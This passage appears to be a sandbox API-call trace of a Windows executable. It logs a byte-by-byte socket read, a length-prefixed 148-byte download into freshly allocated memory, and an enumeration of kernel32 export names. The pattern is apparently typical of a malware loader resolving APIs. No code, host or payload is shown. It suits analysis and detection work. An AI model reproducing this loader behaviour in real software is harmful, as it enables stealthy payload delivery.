buf=0x2e7f888*) returned 1 [0101.574] recv (in: s=0x46c, buf=0x2e7f889, len=1, flags=0 | out: buf=0x2e7f889*) returned 1 [0101.574] recv (in: s=0x46c, buf=0x2e7f88a, len=1, flags=0 | out: buf=0x2e7f88a*) returned 1 [0101.574] recv (in: s=0x46c, buf=0x2e7f88b, len=1, flags=0 | out: buf=0x2e7f88b*) returned 1 [0101.574] recv (in: s=0x46c, buf=0x2e7f88c, len=1, flags=0 | out: buf=0x2e7f88c*) returned 1 [0101.574] recv (in: s=0x46c, buf=0x2e7f88d, len=1, flags=0 | out: buf=0x2e7f88d*) returned 1 [0101.574] recv (in: s=0x46c, buf=0x2e7f88e, len=1, flags=0 | out: buf=0x2e7f88e*) returned 1 [0101.574] recv (in: s=0x46c, buf=0x2e7f88f, len=1, flags=0 | out: buf=0x2e7f88f*) returned 1 [0101.574] recv (in: s=0x46c, buf=0x2e7f890, len=1, flags=0 | out: buf=0x2e7f890*) returned 1 [0101.574] recv (in: s=0x46c, buf=0x2e7f891, len=1, flags=0 | out: buf=0x2e7f891*) returned 1 [0101.574] recv (in: s=0x46c, buf=0x2e7f892, len=1, flags=0 | out: buf=0x2e7f892*) returned 1 [0101.574] recv (in: s=0x46c, buf=0x2e7f893, len=1, flags=0 | out: buf=0x2e7f893*) returned 1 [0101.575] recv (in: s=0x46c, buf=0x2e7f894, len=1, flags=0 | out: buf=0x2e7f894*) returned 1 [0101.575] recv (in: s=0x46c, buf=0x2e7f895, len=1, flags=0 | out: buf=0x2e7f895*) returned 1 [0101.575] recv (in: s=0x46c, buf=0x2e7f896, len=1, flags=0 | out: buf=0x2e7f896*) returned 1 [0101.575] recv (in: s=0x46c, buf=0x2e7f897, len=1, flags=0 | out: buf=0x2e7f897*) returned 1 [0101.575] recv (in: s=0x46c, buf=0x2e7f898, len=1, flags=0 | out: buf=0x2e7f898*) returned 1 [0101.575] recv (in: s=0x46c, buf=0x2e7f899, len=1, flags=0 | out: buf=0x2e7f899*) returned 1 [0101.575] recv (in: s=0x46c, buf=0x2e7f89a, len=1, flags=0 | out: buf=0x2e7f89a*) returned 1 [0101.575] recv (in: s=0x46c, buf=0x2e7f89b, len=1, flags=0 | out: buf=0x2e7f89b*) returned 1 [0101.575] recv (in: s=0x46c, buf=0x2e7f89c, len=1, flags=0 | out: buf=0x2e7f89c*) returned 1 [0101.575] recv (in: s=0x46c, buf=0x2e7f89d, len=1, flags=0 | out: buf=0x2e7f89d*) returned 1 [0101.575] recv (in: s=0x46c, buf=0x2e7f89e, len=1, flags=0 | out: buf=0x2e7f89e*) returned 1 [0101.575] recv (in: s=0x46c, buf=0x2e7f89f, len=1, flags=0 | out: buf=0x2e7f89f*) returned 1 [0101.576] recv (in: s=0x46c, buf=0x2e7f8a0, len=1, flags=0 | out: buf=0x2e7f8a0*) returned 1 [0101.576] recv (in: s=0x46c, buf=0x2e7f8a1, len=1, flags=0 | out: buf=0x2e7f8a1*) returned 1 [0101.576] recv (in: s=0x46c, buf=0x2e7f8a2, len=1, flags=0 | out: buf=0x2e7f8a2*) returned 1 [0101.576] recv (in: s=0x46c, buf=0x2e7f8a3, len=1, flags=0 | out: buf=0x2e7f8a3*) returned 1 [0101.576] recv (in: s=0x46c, buf=0x2e7f8a4, len=1, flags=0 | out: buf=0x2e7f8a4*) returned 1 [0101.576] recv (in: s=0x46c, buf=0x2e7f8a5, len=1, flags=0 | out: buf=0x2e7f8a5*) returned 1 [0101.576] recv (in: s=0x46c, buf=0x2e7f8a6, len=1, flags=0 | out: buf=0x2e7f8a6*) returned 1 [0101.576] recv (in: s=0x46c, buf=0x2e7f8a7, len=1, flags=0 | out: buf=0x2e7f8a7*) returned 1 [0101.576] recv (in: s=0x46c, buf=0x2e7f8a8, len=1, flags=0 | out: buf=0x2e7f8a8*) returned 1 [0101.576] recv (in: s=0x46c, buf=0x2e7f8a9, len=1, flags=0 | out: buf=0x2e7f8a9*) returned 1 [0101.576] recv (in: s=0x46c, buf=0x2e7f8aa, len=1, flags=0 | out: buf=0x2e7f8aa*) returned 1 [0101.576] recv (in: s=0x46c, buf=0x2e7f8ab, len=1, flags=0 | out: buf=0x2e7f8ab*) returned 1 [0101.577] recv (in: s=0x46c, buf=0x2e7f8ac, len=1, flags=0 | out: buf=0x2e7f8ac*) returned 1 [0101.577] recv (in: s=0x46c, buf=0x2e7f8ad, len=1, flags=0 | out: buf=0x2e7f8ad*) returned 1 [0101.577] recv (in: s=0x46c, buf=0x2e7f8ae, len=1, flags=0 | out: buf=0x2e7f8ae*) returned 1 [0101.577] recv (in: s=0x46c, buf=0x2e7f8af, len=1, flags=0 | out: buf=0x2e7f8af*) returned 1 [0101.577] recv (in: s=0x46c, buf=0x2e7f8b0, len=1, flags=0 | out: buf=0x2e7f8b0*) returned 1 [0101.577] recv (in: s=0x46c, buf=0x2e7f8b1, len=1, flags=0 | out: buf=0x2e7f8b1*) returned 1 [0101.577] recv (in: s=0x46c, buf=0x2e7f8b2, len=1, flags=0 | out: buf=0x2e7f8b2*) returned 1 [0101.577] recv (in: s=0x46c, buf=0x2e7f8b3, len=1, flags=0 | out: buf=0x2e7f8b3*) returned 1 [0101.577] recv (in: s=0x46c, buf=0x2e7f8b4, len=1, flags=0 | out: buf=0x2e7f8b4*) returned 1 [0101.577] recv (in: s=0x46c, buf=0x2e7f8b5, len=1, flags=0 | out: buf=0x2e7f8b5*) returned 1 [0101.577] recv (in: s=0x46c, buf=0x2e7f8b6, len=1, flags=0 | out: buf=0x2e7f8b6*) returned 1 [0101.578] recv (in: s=0x46c, buf=0x2e7f8b7, len=1, flags=0 | out: buf=0x2e7f8b7*) returned 1 [0101.578] recv (in: s=0x46c, buf=0x2e7f8b8, len=1, flags=0 | out: buf=0x2e7f8b8*) returned 1 [0101.578] recv (in: s=0x46c, buf=0x2e7f8b9, len=1, flags=0 | out: buf=0x2e7f8b9*) returned 1 [0101.578] recv (in: s=0x46c, buf=0x2e7f8ba, len=1, flags=0 | out: buf=0x2e7f8ba*) returned 1 [0101.578] recv (in: s=0x46c, buf=0x2e7f8bb, len=1, flags=0 | out: buf=0x2e7f8bb*) returned 1 [0101.578] recv (in: s=0x46c, buf=0x2e7f8bc, len=1, flags=0 | out: buf=0x2e7f8bc*) returned 1 [0101.578] recv (in: s=0x46c, buf=0x2e7f8bd, len=1, flags=0 | out: buf=0x2e7f8bd*) returned 1 [0101.578] recv (in: s=0x46c, buf=0x2e7f8be, len=1, flags=0 | out: buf=0x2e7f8be*) returned 1 [0101.578] recv (in: s=0x46c, buf=0x2e7f8bf, len=1, flags=0 | out: buf=0x2e7f8bf*) returned 1 [0101.578] recv (in: s=0x46c, buf=0x2e7f8c0, len=1, flags=0 | out: buf=0x2e7f8c0*) returned 1 [0101.578] recv (in: s=0x46c, buf=0x2e7f8c1, len=1, flags=0 | out: buf=0x2e7f8c1*) returned 1 [0101.579] recv (in: s=0x46c, buf=0x2e7f8c2, len=1, flags=0 | out: buf=0x2e7f8c2*) returned 1 [0101.579] recv (in: s=0x46c, buf=0x2e7f8c3, len=1, flags=0 | out: buf=0x2e7f8c3*) returned 1 [0101.579] recv (in: s=0x46c, buf=0x2e7f8c4, len=1, flags=0 | out: buf=0x2e7f8c4*) returned 1 [0101.579] recv (in: s=0x46c, buf=0x2e7f8c5, len=1, flags=0 | out: buf=0x2e7f8c5*) returned 1 [0101.579] recv (in: s=0x46c, buf=0x2e7f8c6, len=1, flags=0 | out: buf=0x2e7f8c6*) returned 1 [0101.579] recv (in: s=0x46c, buf=0x2e7f8c7, len=1, flags=0 | out: buf=0x2e7f8c7*) returned 1 [0101.579] recv (in: s=0x46c, buf=0x2e7f8c8, len=1, flags=0 | out: buf=0x2e7f8c8*) returned 1 [0101.579] recv (in: s=0x46c, buf=0x2e7f8c9, len=1, flags=0 | out: buf=0x2e7f8c9*) returned 1 [0101.579] recv (in: s=0x46c, buf=0x2e7f8ca, len=1, flags=0 | out: buf=0x2e7f8ca*) returned 1 [0101.579] StrToIntA (lpSrc="148") returned 148 [0101.579] VirtualAlloc (lpAddress=0x0, dwSize=0x94, flAllocationType=0x3000, flProtect=0x4) returned 0x3b80000 [0101.580] recv (in: s=0x46c, buf=0x3b80000, len=148, flags=0 | out: buf=0x3b80000*) returned 148 [0101.580] VirtualFree (lpAddress=0x30b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.580] VirtualFree (lpAddress=0x3b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.580] VirtualFree (lpAddress=0x3b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.581] closesocket (s=0x46c) returned 0 [0101.581] WSACleanup () returned 0 [0101.581] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.581] VirtualFree (lpAddress=0x3040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.581] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.582] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.582] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0101.582] lstrlenA (lpString="kernel32.dll") returned 12 [0101.582] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0101.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0101.582] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0101.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0101.582] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0101.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0101.582] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0101.582] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0101.583] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0101.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0101.583] lstrlenA (lpString="ADDATOMA") returned 8 [0101.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0101.583] lstrlenA (lpString="ADDATOMW") returned 8 [0101.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0101.583] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0101.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0101.583] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0101.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0101.583] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0101.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0101.583] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0101.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0101.583] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0101.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0101.583] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0101.583] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0101.583] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0101.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0101.584] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0101.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0101.584] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0101.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0101.584] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0101.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0101.584] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0101.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0101.584] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0101.584] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0101.585] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0101.585] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0101.585] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0101.585] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0101.585] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0101.585] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0101.585] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0101.585] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0101.585] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0101.585] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0101.585] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0101.585] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0101.585] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0101.585] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0101.585] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0101.585] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0101.585] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0101.586] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0101.586] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0101.586] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0101.586] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0101.586] lstrlenA (lpString="BACKUPREAD") returned 10 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0101.586] lstrlenA (lpString="BACKUPSEEK") returned 10 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0101.586] lstrlenA (lpString="BACKUPWRITE") returned 11 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0101.586] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0101.586] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0101.586] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0101.586] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0101.586] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0101.586] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0101.586] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0101.586] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0101.586] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0101.586] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0101.587] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0101.587] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0101.587] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0101.587] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0101.587] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0101.587] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0101.587] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0101.587] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0101.587] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0101.587] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0101.587] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0101.587] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0101.587] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0101.587] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0101.587] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0101.587] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0101.588] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0101.588] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0101.588] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0101.588] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0101.588] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0101.588] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0101.588] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0101.588] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0101.588] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0101.588] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0101.588] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0101.588] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0101.588] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0101.588] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 